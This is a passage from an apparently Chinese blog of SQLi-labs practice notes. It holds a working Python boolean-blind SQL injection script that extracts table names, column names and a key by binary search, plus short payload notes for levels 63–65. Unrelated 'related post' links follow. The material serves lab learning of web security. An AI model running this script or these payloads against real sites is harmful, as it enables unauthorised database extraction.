def bool_injection(sql):result = ''for i in range(1, 100):esp = 128ebp = 32mid = 0while True:tmp = midmid = int((esp + ebp) / 2)if tmp == mid:result = result + chr(mid + 1)print('[*]'+result)breakpayload = f"?id=1') and 1=(ascii(substr(({sql}),{i},1))>'{mid}')--+"res = requests.get(url=url + payload)if 'Angelina' in res.text:ebp = midelse:esp = midif chr(mid + 1) == '!':return result[:-1]if __name__ == '__main__':sql1 = "select group_concat(table_name) from information_schema.tables where table_schema='challenges'"table_name = bool_injection(sql1)sql2 = f"select group_concat(column_name) from information_schema.columns where table_name ='{table_name}'"column_name = bool_injection(sql2)[10:21]sql3 = f"select group_concat({column_name}) from challenges.{table_name}"flag = bool_injection(sql3)print('key: '+flag)

less63

还是盲注?id=1' and 1=1--+ 闭合

less64

盲注 ?id=1)) and 1=2--+

less65

盲注 闭合 ?id=1") and 1=2--+

SQLiLab刷题记录相关推荐

  1. BUUCTF-2020寒假刷题记录

    BUUCTF-2020寒假刷题记录 Web [RoarCTF 2019]Easy Calc 打开源码,看到calc.php,打开看到源码. 在 num 前面加个空格即可绕过 ? num=phpinfo ...

  2. LeetCode刷题记录15——21. Merge Two Sorted Lists(easy)

    LeetCode刷题记录15--21. Merge Two Sorted Lists(easy) 目录 LeetCode刷题记录15--21. Merge Two Sorted Lists(easy) ...

  3. LeetCode刷题记录14——257. Binary Tree Paths(easy)

    LeetCode刷题记录14--257. Binary Tree Paths(easy) 目录 前言 题目 语言 思路 源码 后记 前言 数据结构感觉理论简单,实践起来很困难. 题目 给定一个二叉树, ...

  4. LeetCode刷题记录13——705. Design HashSet(easy)

    LeetCode刷题记录13--705. Design HashSet(easy) 目录 LeetCode刷题记录13--705. Design HashSet(easy) 前言 题目 语言 思路 源 ...

  5. LeetCode刷题记录12——232. Implement Queue using Stacks(easy)

    LeetCode刷题记录12--232. Implement Queue using Stacks(easy) 目录 LeetCode刷题记录12--232. Implement Queue usin ...

  6. LeetCode刷题记录11——290. Word Pattern(easy)

    LeetCode刷题记录11--290. Word Pattern(easy) 目录 LeetCode刷题记录11--290. Word Pattern(easy) 题目 语言 思路 源码 后记 题目 ...

  7. LeetCode刷题记录10——434. Number of Segments in a String(easy)

    LeetCode刷题记录10--434. Number of Segments in a String(easy) 目录 LeetCode刷题记录9--434. Number of Segments ...

  8. LeetCode刷题记录9——58. Length of Last Word(easy)

    LeetCode刷题记录9--58. Length of Last Word(easy) 目录 LeetCode刷题记录9--58. Length of Last Word(easy) 题目 语言 思 ...

  9. LeetCode刷题记录8——605. Can Place Flowers(easy)

    LeetCode刷题记录8--605. Can Place Flowers(easy) 目录 LeetCode刷题记录8--605. Can Place Flowers(easy) 题目 语言 思路 ...

最新文章

  1. Python基础教程:内置类型之真值测试
  2. Cert manager自动签发/更新证书
  3. 《嵌入式C编程:PIC单片机和C编程技术与应用》一1.2 注释
  4. 201771010102 常惠琢《面向对象程序设计(java)》第八周学习总结
  5. Linux 查看磁盘或文件夹及文件大小
  6. Go 模块--开始使用Go Modules
  7. Spring Cloud中的分布式组件五花八门,我到底该怎么学?
  8. 创业负债累累 | 失败了的我还如何翻盘?是天台见! 我的故事还只是从这件事开始...
  9. Java线程 生产者--消费者模式总结(一)
  10. python爬虫利用requests和BeautifulSoup爬取美女图片
  11. 如何把windows锁屏画面提取成JPG图像,并作为桌面壁纸
  12. navicat 连接 oracle (最全解读)
  13. opengl: 太阳地球和月亮
  14. mysql时间段重叠_MySQL - 如何选择'DISTINCT'重叠时段(日期或数字范围)
  15. 软件测试 | 测试开发 | Nginx反向代理及内部模型简述
  16. 【IT观察】作为一个DBA,如何选择数据库
  17. laya 怎么生成签名_手写签名在线生成器一笔签-手写签名在线生成器微信
  18. 要画分子结构图,就用ChemDraw
  19. 2017秋招知识点小记(C/C++)
  20. visual studio community 2019安装

热门文章

  1. 没有什么是学不会的,关键是你敢不敢豁出去——《向着光亮那方》读后感
  2. Vue - 列表拖曳排序 / 鼠标拖动改变顺序排列高效简洁组件(支持PC端与移动端触屏拖动,也可在滚动条内排序自动滚动,流畅丝滑无 BUG)
  3. 你的眼睛应该是灰色的,像钢铁一般的颜色
  4. pandas -----变形(透视表、melt、stack、unstack),哑变量与因子变化
  5. 春节红包活动如何应对10亿级流量?看大佬复盘总结
  6. 2020下半年,最接地气的字节跳动Android面经分享(已收offer
  7. win11任务栏图标闪烁|任务栏QQ图标闪动|新消息任务栏自动弹出|设置自动隐藏任务栏之后,QQ或微信等工具新消息自动弹出任务栏并颜色提示问题解决方案
  8. 字典树模板及讲解 http://www.cnblogs.com/tanky_woo/archive/2010/09/24/1833717.html
  9. Android.view.View类全貌【思维导图】
  10. 【笔试题目整理】 网易2018校园招聘数据分析师笔试卷